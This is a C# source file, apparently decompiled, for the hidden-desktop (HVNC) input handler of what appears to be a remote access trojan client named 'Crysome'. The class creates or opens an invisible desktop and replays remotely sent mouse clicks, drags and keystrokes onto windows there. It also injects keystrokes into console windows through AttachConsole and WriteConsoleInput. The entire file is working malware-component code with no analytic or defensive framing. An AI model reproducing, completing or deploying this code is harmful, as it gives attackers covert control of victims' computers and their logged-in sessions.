using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Text; namespace Crysome.Client.Hvnc; public class HvncInputHandler : IDisposable { [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)] private struct KEY_EVENT_RECORD { [FieldOffset(0)] public int bKeyDown; [FieldOffset(4)] public ushort wRepeatCount; [FieldOffset(6)] public ushort wVirtualKeyCode; [FieldOffset(8)] public ushort wVirtualScanCode; [FieldOffset(10)] public char UnicodeChar; [FieldOffset(12)] public uint dwControlKeyState; } [StructLayout(LayoutKind.Explicit)] private struct INPUT_RECORD { [FieldOffset(0)] public ushort EventType; [FieldOffset(2)] public KEY_EVENT_RECORD KeyEvent; } private Utils.POINT lastPoint = new Utils.POINT { x = 0, y = 0 }; private IntPtr hResMoveWindow = IntPtr.Zero; private IntPtr resMoveType = IntPtr.Zero; private bool lmouseDown; private static object lockObject = new object(); private string DesktopName; public IntPtr Desktop = IntPtr.Zero; private const int STD_INPUT_HANDLE = -10; private const ushort KEY_EVENT = 1; [DllImport("kernel32.dll", SetLastError = true)] private static extern bool AttachConsole(uint dwProcessId); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool FreeConsole(); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetStdHandle(int nStdHandle); [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten); [DllImport("user32.dll")] private static extern uint MapVirtualKey(uint uCode, uint uMapType); private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch) { try { Utils.GetWindowThreadProcessId(hWnd, out var ProcessId); if (ProcessId == 0) { return false; } if (!AttachConsole(ProcessId)) { return false; } try { IntPtr stdHandle = GetStdHandle(-10); if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1)) { return false; } ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u); INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD { EventType = 1, KeyEvent = new KEY_EVENT_RECORD { bKeyDown = 1, wRepeatCount = 1, wVirtualKeyCode = (ushort)vk, wVirtualScanCode = wVirtualScanCode, UnicodeChar = ch, dwControlKeyState = 0u } }; INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD { EventType = 1, KeyEvent = new KEY_EVENT_RECORD { bKeyDown = 0, wRepeatCount = 1, wVirtualKeyCode = (ushort)vk, wVirtualScanCode = wVirtualScanCode, UnicodeChar = ch, dwControlKeyState = 0u } }; WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _); return true; } finally { FreeConsole(); } } catch { return false; } } private static bool IsConsoleWindow(IntPtr hWnd) { StringBuilder stringBuilder = new StringBuilder(64); Utils.RealGetWindowClass(hWnd, stringBuilder, 64); return stringBuilder.ToString() == "ConsoleWindowClass"; } public HvncInputHandler(string DesktopName) { this.DesktopName = DesktopName; IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u); if (intPtr == IntPtr.Zero) { intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero); } Desktop = intPtr; } public void Dispose() { if (Desktop != IntPtr.Zero) { Utils.CloseDesktop(Desktop); } GC.Collect(); } public static int GET_X_LPARAM(IntPtr lParam) { return (short)(lParam.ToInt32() & 0xFFFF); } public static int GET_Y_LPARAM(IntPtr lParam) { return (short)((lParam.ToInt32() >> 16) & 0xFFFF); } public static IntPtr MAKELPARAM(int lowWord, int highWord) { return new IntPtr((highWord << 16) | (lowWord & 0xFFFF)); } public void ResetWindowsTopDown(IntPtr ownerhWnd) { IntPtr topWindow = Utils.GetTopWindow(ownerhWnd); if (topWindow == IntPtr.Zero) { return; } IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST); if (window == IntPtr.Zero) { return; } while (window != IntPtr.Zero) { if (Utils.IsWindowVisible(window)) { Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u); } window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV); } } public static void SendStringToWindow(IntPtr hWnd, string text) { for (int i = 0; i < text.Length; i++) { ushort num = Utils.VkKeyScan(text[i]); if (num != ushort.MaxValue) { Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero); continue; } break; } } public Process GetProcessFromhWnd(IntPtr handle) { try { Utils.GetWindowThreadProcessId(handle, out var ProcessId); return Process.GetProcessById((int)ProcessId); } catch { } return null; } public string GetTopMostWindowName() { Utils.SetThreadDesktop(Desktop); Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow()); string processName = processFromhWnd.ProcessName; processFromhWnd.Dispose(); return processName; } public IntPtr FindTopMostWindow() { IntPtr activeWindowHandle = IntPtr.Zero; Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero); return activeWindowHandle; bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam) { if (Utils.IsWindowVisible(hWnd)) { activeWindowHandle = hWnd; } return true; } } public void PasteText(string text) { Utils.SetThreadDesktop(Desktop); IntPtr intPtr = FindTopMostWindow(); if (!(intPtr == IntPtr.Zero)) { SendStringToWindow(intPtr, text); } } public void PasteFromClientClipboard() { IntPtr intPtr = FindTopMostWindow(); if (!(intPtr == IntPtr.Zero)) { Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero); } } public void Input(uint msg, IntPtr wParam, IntPtr lParam) { lock (lockObject) { Utils.SetThreadDesktop(Desktop); _ = IntPtr.Zero; bool flag = false; Utils.POINT lpPoint = default(Utils.POINT); IntPtr intPtr; if (msg - 256 <= 2) { lpPoint = lastPoint; intPtr = Utils.WindowFromPoint(lpPoint); if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr)) { char ch = (char)wParam.ToInt32(); uint vk = (uint)wParam.ToInt32(); TrySendConsoleInput(intPtr, vk, ch); return; } } else { flag = true; lpPoint.x = GET_X_LPARAM(lParam); lpPoint.y = GET_Y_LPARAM(lParam); Utils.POINT pOINT = lastPoint; lastPoint = lpPoint; intPtr = Utils.WindowFromPoint(lpPoint); switch (msg) { case 513u: { lmouseDown = true; hResMoveWindow = IntPtr.Zero; IntPtr intPtr2 = Utils.FindWindow("Button", null); Utils.GetWindowRect(intPtr2, out var lpRect2); if (Utils.PtInRect(ref lpRect2, lpPoint)) { Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, IntPtr.Zero); return; } StringBuilder stringBuilder = new StringBuilder(260); Utils.RealGetWindowClass(intPtr, stringBuilder, 260); if (stringBuilder.ToString() == "#32768") { IntPtr subMenu = Utils.GetSubMenu(intPtr, 0); int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint); Utils.GetMenuItemID(subMenu, num7); Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero); Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero); return; } break; } case 514u: lmouseDown = false; switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32()) { case -1: Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000); Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam); break; case 8: Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero); break; case 9: { Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT); lpwndpl.length = Marshal.SizeOf(lpwndpl); Utils.GetWindowPlacement(intPtr, ref lpwndpl); if ((lpwndpl.flags & 3) != 0) { Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero); } else { Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero); } break; } case 20: Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero); break; } break; case 512u: if (lmouseDown) { if (hResMoveWindow == IntPtr.Zero) { resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam); } else { intPtr = hResMoveWindow; } int num = pOINT.x - lpPoint.x; int num2 = pOINT.y - lpPoint.y; Utils.GetWindowRect(intPtr, out var lpRect); int num3 = lpRect.left; int num4 = lpRect.top; int num5 = lpRect.right - lpRect.left; int num6 = lpRect.bottom - lpRect.top; switch (resMoveType.ToInt32()) { default: return; case 2: num3 -= num; num4 -= num2; break; case 3: case 4: case 5: case 6: case 7: case 8: case 9: return; case 10: num3 -= num; num5 += num; break; case 11: num5 -= num; break; case 12: num4 -= num2; num6 += num2; break; case 13: num4 -= num2; num6 += num2; num3 -= num; num5 += num; break; case 14: num4 -= num2; num6 += num2; num5 -= num; break; case 15: num6 -= num2; break; case 16: num6 -= num2; num3 -= num; num5 += num; break; case 17: num6 -= num2; num5 -= num; break; } Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false); hResMoveWindow = intPtr; return; } break; } } IntPtr intPtr3 = intPtr; IntPtr intPtr4; do { intPtr4 = intPtr3; Utils.ScreenToClient(intPtr4, ref lpPoint); } while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4)); if (flag) { lParam = MAKELPARAM(lpPoint.x, lpPoint.y); StringBuilder stringBuilder2 = new StringBuilder(260); Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260); string text = stringBuilder2.ToString(); if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero) { switch (text) { case "SysTreeView32": case "Button": case "DirectUIHWND": if (msg == 514 && text != "DirectUIHWND") { Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009)); } break; } return; } } Utils.PostMessage(intPtr4, msg, wParam, lParam); } } }